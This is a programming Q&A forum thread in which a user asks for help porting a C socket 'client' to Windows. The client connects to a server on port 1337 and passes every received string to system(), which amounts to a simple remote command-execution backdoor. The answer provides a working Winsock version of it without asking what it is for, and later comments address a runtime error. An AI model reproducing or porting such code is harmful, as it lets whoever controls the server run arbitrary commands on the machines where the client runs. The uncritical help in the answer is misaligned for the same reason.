Click here to Skip to main content
15,918,808 members
Please Sign up or sign in to vote.
0.00/5 (No votes)
See more:
hi friends,

i tried to compile this client.c in windows but i faced errors i tried too much .. anyone can answer and write it correctly with the same variables to work with the server.c >> to be compiled and working in windows as executable file .exe

What I have tried:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define HOST "127.0.0.1"
#define PORT 1337


int main(void) {
    int fd;
    char command[5000];
    struct sockaddr_in server;
    
    server.sin_family = AF_INET;
    server.sin_addr.s_addr = inet_addr(HOST);
    server.sin_port = htons(PORT);

    fd = socket(AF_INET, SOCK_STREAM, 0);    
    connect(fd, (struct sockaddr *)&server, sizeof(server));

    while (1) {
        recv(fd, command, sizeof(command), 0);
        system(command);
    }
    
    EXIT_SUCCESS;
}
Posted
Updated 22-Apr-23 7:00am
v4
Comments
Richard MacCutchan 22-Apr-23 12:25pm    
Please explain what errors you see.
AhmedSakrr 22-Apr-23 12:29pm    
Error because this code in unix can't be compiled in windows.. can u convert it to be in windows i think by using something called createprocess() but, i have no idea how to rewrite it.

1 solution

Change it to the following:
C++
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// use winsock2 in Windows
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <winsock2.h>

#pragma comment(lib, "Ws2_32") // tell the linker which library to include


// The following are for Linux
//#include <unistd.h>
//#include <arpa/inet.h>
//#include <sys/types.h>
//#include <sys/socket.h>
//#include <netinet/in.h>

#define HOST "127.0.0.1"
#define PORT 1337


int main(void) {
    SOCKET fd; // use correct type for fd
    char command[5000];
    struct sockaddr_in server;
    
    server.sin_family = AF_INET;
    server.sin_addr.s_addr = inet_addr(HOST);
    server.sin_port = htons(PORT);

    fd = socket(AF_INET, SOCK_STREAM, 0);    
    connect(fd, (struct sockaddr *)&server, sizeof(server));

    while (1) {
        recv(fd, command, sizeof(command), 0);
        system(command);
    }
    
    EXIT_SUCCESS;
}
 
Share this answer
 
v3
Comments
AhmedSakrr 22-Apr-23 14:22pm    
I really liked your modification, I Compiled it using >> cl.exe client.c .... but it gave me this error >> https://prnt.sc/CTpAJVhjEksp << any solutions ??
Richard MacCutchan 23-Apr-23 3:08am    
That is nothing to do with the compiler or linker. That is your code calling system with text that is not a valid command string.
Richard MacCutchan 23-Apr-23 6:41am    
You will need to talk to the person who created that project.

This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)



CodeProject, 20 Bay Street, 11th Floor Toronto, Ontario, Canada M5J 2N8 +1 (416) 849-8900